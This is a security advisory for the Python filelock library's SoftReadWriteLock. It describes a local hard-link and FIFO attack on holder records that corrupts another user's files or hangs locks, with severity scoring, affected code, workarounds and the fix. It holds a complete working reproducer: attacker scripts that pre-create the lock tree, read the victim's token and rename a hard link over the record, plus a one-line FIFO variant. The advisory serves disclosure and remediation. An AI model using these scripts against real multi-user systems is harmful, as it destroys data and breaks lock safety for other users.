GHSA-fj95-fr6c-h845: Medium severity pip/filelock vulnerability
SoftReadWriteLock (and AsyncSoftReadWriteLock, which wraps one) refreshes its holder record (the file under <path>.rw/holders/ that says a process holds or wants the lock) on every poll of a waiting acquire and on every heartbeat (the periodic refresh a holder runs to keep its record fresh). It does so by reopening <path>.rw/holders/<token> by name with a plain blocking OWRONLY | ONOFOLLOW open and writing at offset 0, without checking what it opened. ONOFOLLOW makes the open fail only when the final name is a symbolic link (a file that redirects to another path).
A different local user (the other user below) who owns the lock's .rw tree reads the token of the user running the lock (the lock user below) from the holders/ listing and renames another node over the record. The other user owns the tree because it created it first in a sticky directory such as /tmp (the sticky bit is a directory flag that lets only a file's owner rename or remove it), or because it can write a lock directory without the sticky bit.
A FIFO (a named pipe: a file whose open for writing blocks until some process opens it for reading) makes the lock user's writelock() / readlock() hang regardless of timeout. It also stops a lock holder's heartbeat thread without oncompromise (the callback that tells a holder it lost the lock) ever running, so the lock grants a second process while the first still believes it holds it. This works on a default Linux.
Where the kernel lets a user hard-link a file it does not own (a hard link is a second name for the same file; Linux with fs.protectedhardlinks=0; macOS and the BSDs by their defaults, not executed), a hard link makes the lock user overwrite the first ~135 bytes of one of its own private files with its holder record. Affected versions: filelock >= 4.0.0 and <= 4.2.0. Anthropic's OSS Scanner reported it in private as ANT-2026-AT33VEVC [medium, CWE-62], titled "SoftReadWriteLock holder refresh writes through hard links, hangs on FIFOs".
Severity
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H, 6.1 (Medium).
AV:L (local): the other user needs an account on the same host. AC:L (low attack complexity): on a default Linux there is no race. PR:L (low privileges): a local user with ordinary privileges is enough. UI:N (no user interaction): the lock user's process acts on its own. C:N (no confidentiality impact): the other user learns nothing. I:L (low integrity impact): where the kernel permits hard links to files one does not own, the lock user also writes its holder record over the first ~135 bytes of one of its private files. The bytes are filelock's record, not chosen by the other user, so the change stays within that record. A:H (high availability impact): the other user makes a lock user's acquire outlast any timeout and leaves a holder's heartbeat thread asleep. The lock then evicts the holder without telling it, and two processes believe they hold the write lock.
Classification from the external review: conditional security. The owner of a planted .rw tree can make the refresh open a FIFO and stall a lock user, including its heartbeat. Overwriting a file of the lock user through a hard link also needs a permissive hard-link policy. The scanner rated it medium.
Scope and preconditions
- Trust boundary: the other party is a different local account that owns the lock's .rw tree. Either it created <path>.rw (with gen/ and holders/) before the lock's first use in a sticky directory such as /tmp, where prepare() adopts an existing tree whoever owns it and whatever its mode. Or the lock lives in a directory without the sticky bit that the account can write (the scanner checked a root-created 0777 directory). There being first is not needed, because the other user renames the lock user's own 0700 tree aside and puts its own in place; prepare() does not run again for a live lock object, and a waiting lock user recreates its record in the replacement. A tree the lock user already created in a sticky directory (mode 0700) is out of reach. - FIFO variant: needs only that boundary. It works on a default Linux. fs.protectedhardlinks plays no part, and fs.protectedfifos=1 (a Linux setting that refuses some opens of FIFOs in sticky world-writable directories) does not help, since it covers OCREAT opens in sticky directories only, and the other user renames the FIFO into place inside its own holders/. - Hard-link variant: also needs a kernel that permits a hard link to a file the caller does not own. That is Linux with fs.protectedhardlinks=0 (the kernel's built-in value; observed), while most distributions and the scanner's test image boot with 1, under which the other user's link() fails with EPERM (operation not permitted) and the file stays untouched. macOS and the BSDs have no such restriction by default; that follows from their link(2) semantics, and the scanner did not execute it. The target must be a regular file the lock user may write, on the same filesystem as the lock, in a directory the other user can search. A 0600 file in a 0755 home directory qualifies; a file under a 0700 directory does not. - Platform: observed on Linux 6.1. AsyncSoftReadWriteLock runs the same code through an executor thread and loses that thread (from the code, not run). On Windows named pipes cannot live in a regular directory, so there is no FIFO case there. - Ancestor boundary: protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky.
Affected code
At the scanned commit b831496b0273, OsFiles.overwrite opens by name with OWRONLY | ONOFOLLOW and writes without fstat (fstat would report the type of the file behind the open descriptor), while read just above it uses ONONBLOCK and a regular-file check. The blocking open is attemptopen via open. prepare adopts an existing tree whoever owns it. The single caller is Participant.refreshnonce, reached from keepclaimfresh on every poll of a waiting acquire and from heartbeat, which knows only lost and transient, not a call that does not return. The acquire loop checks its deadline and the closed flag only after advance() returns (sync.py lines 584–592). The code maps the heartbeat outcome at lines 603–613, and release joins the heartbeat thread for heartbeatinterval + 1 at line 446.
Introduced
The unguarded reopen came with f974328 ("fix(soft-rw): replace the state mutex with a generation log (#738)", 2026-09-17), which dropped the earlier marker code's check of the opened descriptor. It was first released in 4.0.0 (verified with git tag --contains f974328, which answers 4.0.0).
Mechanism
OsFiles.overwrite() refreshes a holder record by opening holders/<token> by name and writing at offset 0. ONOFOLLOW refuses a symbolic link at that name (a planted one ends the acquire with OSError: [Errno 40] and the target untouched). A hard link is an ordinary directory entry, and a FIFO is not a symbolic link either. Nothing between the open and the write checks that the descriptor is the file create() made. Another user who can rename inside holders/ has two ways to use the one unguarded reopen, depending on the node it puts under the lock user's record name:
1. The other user can write holders/. prepare() uses an existing protocol tree whoever owns it; it checks only the node type. In sticky /tmp, the user who creates /tmp/app.lock.rw/{gen,holders} before the lock's first use owns holders/ and may rename over anything the lock user creates in it. In a shared directory without the sticky bit, being first is not needed. 2. The lock user publishes its record and drops the descriptor. Participant.publish() calls OsFiles.create(), which opens holders/<token> with OCREAT | OEXCL, writes the record and closes. The token is the file name, so the other user reads it from a listing of its own directory. 3. The other user swaps the name. Hard link: link("/home/victim/accounts.csv", "holders/link"), then rename("holders/link", "holders/<token>"); link(2) needs search permission on /home/victim and write permission on holders/, nothing on the file. FIFO: mkfifo (mode 0666) + rename, so the name is absent at no point and the lock user does not take the "record is gone, recreate it" branch. 4. The lock user writes by name. Each poll of a waiting acquire (pollinterval, 0.25 s) runs advance() → keepclaimfresh() → refreshnonce() → overwrite(). With the hard link the lock user owns the linked file, so OWRONLY succeeds and writeall puts encodeholder(...) at offset 0 without truncating. The lock user's call then ends in an ordinary Timeout. A granted holder does the same from its heartbeat thread every heartbeatinterval (30 s by default). With heartbeatinterval=0.5, the holder also writes through a link planted one second after it got the write lock, and lock.compromise stays None. 5. The link disappears. On Timeout or release, leave() unlinks holders/<token>, which is now the other user's link. The target is back to one link and holders/ is empty.
The scanner observed this with the hard link. victim runs SoftReadWriteLock("/tmp/app.lock").writelock(timeout=2) and waits. attacker, who created /tmp/app.lock.rw first, renames a hard link to /home/victim/accounts.csv (mode 0600, owner victim; the attacker account can neither read nor write it) over the record. The file keeps its size, owner and mode. It now begins filelock-rw/1\ntoken=ea480210b6cacc96a657f16d93f7f284\npid=210\nhost=cfz?pidns-f0000217\nlease=90.0\nnonce=5f8f61dcf2607b56ef05c521bdade557\n, followed by its original content from offset 135 on (the record length varies with the PID and the host name).
The same reopen with a FIFO: open(fifo, OWRONLY) without ONONBLOCK (the flag that makes such an open return at once) blocks until the FIFO has a reader. The scanner observed two cases on the image with its default settings.
In a waiting acquire, the code checks the deadline one level above the blocked call, so an open that does not return outlasts any timeout, and a close() from another thread. The lock user, with the FIFO in place of the hard link, is still inside writelock(timeout=2) 12 s later, at storage.py:158 attemptopen ← :143 open ← :96 overwrite ← protocol.py:545 refreshnonce ← :494 keepclaimfresh ← :464 advance ← sync.py:584 waitfor ← :512 doacquireinner; without the FIFO the same call raises Timeout after 2.0 s.
Inside filelock the only thing that ends the block is a peer's read() of the same name: its non-blocking open is a reader for a moment, the stuck open returns, and writeall then fails with EPIPE (broken pipe). Peers read a waiter's record only in sweep, at most every stalethreshold / 2 (stalethreshold is the age after which peers treat a record as abandoned). With a live holder on default settings writelock(timeout=2) returned after 59.9 s with BrokenPipeError instead of Timeout, and with no live peer it was still blocked after 150 s. The blocked thread is also still inside acquire's self.locks.transaction section, so other threads acquiring through the same instance wait behind it.
For a holder's heartbeat, heartbeat() knows two failures. overwrite returning False is lost, an OSError is transient, and refresh turns those into an evicted or a refresh-failed compromise. A blocked call is neither. With heartbeatinterval=1, stalethreshold=3 and the FIFO renamed over the record after the grant: 6.5 s later lock.compromise is still None, oncompromise has not run, release() takes 2.0 s (the join timeout; 31 s with the default interval) and the filelock-heartbeat- thread is still alive after it. For comparison, when someone deletes the record outright, the holder learns evicted at its next heartbeat.
When whoever planted the FIFO keeps it open with the pipe buffer full, the open succeeds and writeall is what blocks, and peers' reads no longer disturb it. Run that way with the same intervals, a second process read the record as b"", evicted the holder after stalethreshold and got the write lock 3.0 s later, while the first process was still in its critical section with lock.compromise is None and oncompromise not called.
Reproduction
The scanner's reproducer for finding ANT-2026-AT33VEVC, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.
repro
python #!/usr/bin/env python3 import os import shutil import subprocess import sys
LOCKTREE = "/tmp/app.lock.rw" VICTIMFILE = "/home/victim/accounts.csv" PROTECTEDHARDLINKS = "/proc/sys/fs/protectedhardlinks" asvictim = ["runuser", "-u", "victim", "--"] asattacker = ["runuser", "-u", "attacker", "--"]
set up: a file only the victim may read or write, on the same filesystem as /tmp original = b"name,balance\n" + b"".join(b"customer-%03d,1000\n" % n for n in range(20)) with open(VICTIMFILE, "wb") as f: f.write(original) shutil.chown(VICTIMFILE, "victim", "victim") os.chmod(VICTIMFILE, 0o600) shutil.rmtree(LOCKTREE, ignoreerrors=True)
directwrite = subprocess.run([asattacker, "truncate", "-s", "0", VICTIMFILE], captureoutput=True, text=True) print("CONTROL attacker writes the file itself:", directwrite.stderr.strip()) assert directwrite.returncode != 0
The one non-default setting: 0 (the kernel's built-in value, and what macOS and the BSDs allow) lets a user hard-link a file it does not own. With 1, as this image boots, the attacker's link() fails with EPERM. Kernel-wide, so restored. protectedhardlinksbefore = open(PROTECTEDHARDLINKS).read() open(PROTECTEDHARDLINKS, "w").write("0") try: # attack subprocess.run([asattacker, sys.executable, "/tmp/repro.d/attackercreateslocktreefirst.py"], check=True) linkplanter = subprocess.Popen( [asattacker, sys.executable, "/tmp/repro.d/attackerplantshardlink.py"], stdout=subprocess.PIPE, text=True ) victimapp = subprocess.run( [asvictim, sys.executable, "/tmp/repro.d/victimapp.py"], stdout=subprocess.PIPE, text=True, check=True ) victimtoken = linkplanter.communicate()[0].strip() assert linkplanter.returncode == 0 finally: open(PROTECTEDHARDLINKS, "w").write(protectedhardlinksbefore)
check: the victim's holder record belongs in holders/<token>, never in another file print("victim app:", victimapp.stdout.strip()) print("attacker replaced holders/" + victimtoken, "with a hard link to", VICTIMFILE) after = open(VICTIMFILE, "rb").read() info = os.stat(VICTIMFILE) print(f"OBSERVED {VICTIMFILE} (uid {info.stuid}, mode {info.stmode & 0o777:o}) now begins:") print(after[:200].decode(errors="replace")) print("BUG" if after.startswith(b"filelock-rw/1\ntoken=" + victimtoken.encode() + b"\n") else "OK")
repro.d/attackercreateslocktreefirst.py
python import os
LOCKTREE = "/tmp/app.lock.rw"
os.umask(0) os.mkdir(LOCKTREE, 0o777) os.mkdir(f"{LOCKTREE}/gen", 0o777) os.mkdir(f"{LOCKTREE}/holders", 0o777)
A snapshot naming some other writer, so the victim keeps polling (and refreshing its record) instead of being granted. with open(f"{LOCKTREE}/gen/00000000000000000001", "w") as snapshot: snapshot.write("filelock-rw/1\ngeneration=1\nwriter=" + "a" 32 + "\n")
repro.d/attackerplantshardlink.py
python import os import time
HOLDERS = "/tmp/app.lock.rw/holders" VICTIMFILE = "/home/victim/accounts.csv"
deadline = time.monotonic() + 30 while not (records := os.listdir(HOLDERS)): assert time.monotonic() < deadline, "the victim never published a holder record" time.sleep(0.01) victimtoken = records[0]
link(2) needs write permission on holders/ and search permission on /home/victim, nothing on the file itself. os.link(VICTIMFILE, f"{HOLDERS}/link") os.rename(f"{HOLDERS}/link", f"{HOLDERS}/{victimtoken}") print(victimtoken)
repro.d/victimapp.py
python import time
from filelock import SoftReadWriteLock, Timeout
started = time.monotonic() try: with SoftReadWriteLock("/tmp/app.lock").writelock(timeout=2): print("got the write lock") except Timeout: print(f"Timeout after {time.monotonic() - started:.1f} s")
Attack sequence
mermaid sequenceDiagram participant A as other local user (owns /tmp/app.lock.rw) participant V as lock user (writelock, timeout=2) participant H as holders/ (owned by the other user, 0777) participant T as /home/victim/accounts.csv (0600) rect rgb(255, 214, 214) Note over A,T: filelock 4.0.0 to 4.2.0 A->>H: before the lock user's first use, create app.lock.rw, gen and holders (0777) and one snapshot naming another writer V->>H: publish(), create(holders/token) with OCREAT OEXCL, write the record, close A->>H: read the token from the listing A->>T: link(accounts.csv, holders/link), needs fs.protectedhardlinks=0 A->>H: rename(holders/link, holders/token) V->>H: poll, refreshnonce(), overwrite() opens holders/token by name with OWRONLY ONOFOLLOW, no fstat V->>T: writeall at offset 0, the first 135 bytes of accounts.csv are now the holder record V->>H: Timeout after 2.0 s, leave() unlinks holders/token (the link) Note over A,H: FIFO variant on default Linux, mkfifo + rename over holders/token instead of the link V->>H: overwrite() opens the FIFO without ONONBLOCK and sleeps until a reader appears Note over V,H: writelock(timeout=2) still blocked 150 s later, a holder's heartbeat thread sleeps the same way and oncompromise does not run end
Evidence
The scanner's reproducer runs as root and starts each party under its own account with runuser. It writes 0 to /proc/sys/fs/protectedhardlinks for the run (restored afterwards; this is why it needs the privileged container), creates /home/victim/accounts.csv (20 lines of CSV, owner victim, mode 0600) and shows that attacker cannot write it. Then attackercreateslocktreefirst.py creates /tmp/app.lock.rw, gen/ and holders/ with mode 0777 and one snapshot naming some other writer, so the lock user's acquire polls instead of getting the lock at once. victimapp.py runs SoftReadWriteLock("/tmp/app.lock").writelock(timeout=2). attackerplantshardlink.py waits for the lock user's record to appear in holders/, hard-links accounts.csv beside it and renames the link over the record. Expected output on the scanned commit (token, PID and nonce vary):
CONTROL attacker writes the file itself: truncate: cannot open '/home/victim/accounts.csv' for writing: Permission denied victim app: Timeout after 2.0 s attacker replaced holders/42cc890a86c300dd889f1376d9995abf with a hard link to /home/victim/accounts.csv OBSERVED /home/victim/accounts.csv (uid 1000, mode 600) now begins: filelock-rw/1 token=42cc890a86c300dd889f1376d9995abf pid=131 host=cfz?pidns-f0000217 lease=90.0 nonce=293a8c7462249a2e9bf283a793bb5f45 000 customer-007,1000 ... BUG
The reproducer prints BUG only if the file now begins with filelock-rw/1\ntoken=<the token the other user replaced>\n, the holder record the lock user's own OsFiles.overwrite() wrote through the link. The FIFO variant is one line away (os.mkfifo(...) + chmod 0o666 in place of os.link) and needs no sysctl change: the lock user's program prints nothing and is still running after 8 s with timeout=2, and kill -ABRT prints the stack quoted above. The same run with root taking the lock overwrote a 0600 file in /etc that only root can access.
Our verification: BUG on the scanned commit b831496 and on the 4.2.0 image (e2e7d70). On the PR #842 stack head the stock reproducer reaches no verdict, because the stack's owner check refuses the /tmp/app.lock.rw owned by the other account with RuntimeError before the lock user publishes a record (the target stays untouched). With that owner check disabled, the stock reproducer prints OK with accounts.csv intact. The independent review's FIFO variant (mkfifo + rename, no sysctl change) shows the 4.2.0 lock user not returning within 15 s (container killed at 300 s) against Timeout after 2.0 s on the PR head.
Impact
On a default Linux (fs.protectedhardlinks=1) the reachable effect is the FIFO hang. The other user makes a lock user's acquireread / acquirewrite / readlock / writelock hang whatever timeout the caller passed. That user could already keep the lock busy, in which case the lock user gets Timeout on time; the FIFO takes that away. Against a process that holds the lock, the FIFO stops the heartbeat thread, which is the only path by which a holder learns of its eviction. After stalethreshold (90 s by default) a second process takes the lock and nothing tells the first, so a live holder and its evictor both believe they hold the write lock and oncompromise does not run.
A user who owns the tree can already get a reader granted beside a live writer by writing one forged gen/<N+1> snapshot. What this bug adds is the acquire that outlasts its timeout and the heartbeat thread that does not return. The FIFO variant touches nothing outside the lock's own directory.
Where the kernel allows the hard link, a different local user corrupts files it has no access to, with the rights of the process that takes the lock. filelock's holder record replaces the first 135 bytes or so of the target. The other user does not choose the bytes, so the result is data destruction, not code execution: the header of a database or archive, the first lines of a configuration or credential file. This is the hard-link counterpart, on a derived name of the soft read-write lock, of the symbolic link fixes at the lock path recorded in the changelog (3.20.1 for lock file creation, 3.20.3 for SoftFileLock), which ONOFOLLOW does not cover.
Workarounds
- Keep the lock path in a directory that only the locking account (or root) can write, with no group or other write bit. Make sure every ancestor belongs to that account or root and is either not writable by others or sticky. Do not share a SoftReadWriteLock between accounts through a 0777 or group-writable directory. - In a sticky directory such as /tmp, make sure the locking account creates <path>.rw before anyone else can, and refuse to use a lock path whose <path>.rw belongs to another account. - Keep fs.protectedhardlinks=1 (the default on mainstream Linux distributions). It removes the file-overwrite variant, not the FIFO stall.
Patched version
4.2.1.
Fix: https://github.com/tox-dev/filelock/pull/842
Credits
Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.
- 2026-10-15 23:08 UTC: report received (scan filelock-20261015-005 of commit b831496b0273) - 2026-10-16 01:39 UTC: fix PR #842 opened - 2026-10-16 05:42 UTC: draft advisory created (first as part of GHSA-wfhq-q4j2-c37m, then split into this advisory)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/filelockto a version that resolves this vulnerability.Fixed in 4.2.1 - Upgrade
Upgrade
filelockto a version that resolves this vulnerability.Patch #842 - Configuration
Keep fs.protected_hardlinks=1.
Linux kernel fs.protected_hardlinks = 1 - Compensating control
Keep the lock path in a directory writable only by the locking account or root, with no group or other write bit; ensure every ancestor is owned by that account or root and is either not writable by others or sticky. In a sticky directory such as /tmp, have the locking account create <path>.rw before anyone else and refuse to use a lock path whose <path>.rw belongs to another account.
Event History
Frequently Asked Questions
Who is exposed to this issue?
Lock users are exposed when another local user owns the lock's .rw tree or can write the lock directory. This can occur when the other user created the tree first in a sticky directory such as /tmp, or when the lock directory is writable without the sticky-bit protection.
What access does an attacker need to exploit it?
The attacker needs local access and the ability to read the lock user's holder token from the holders directory listing and rename another node over that holder record. The attacker must be able to influence the lock directory or its .rw tree.
Is the asynchronous lock implementation also affected?
Yes. AsyncSoftReadWriteLock wraps SoftReadWriteLock, so it is included in the affected behavior.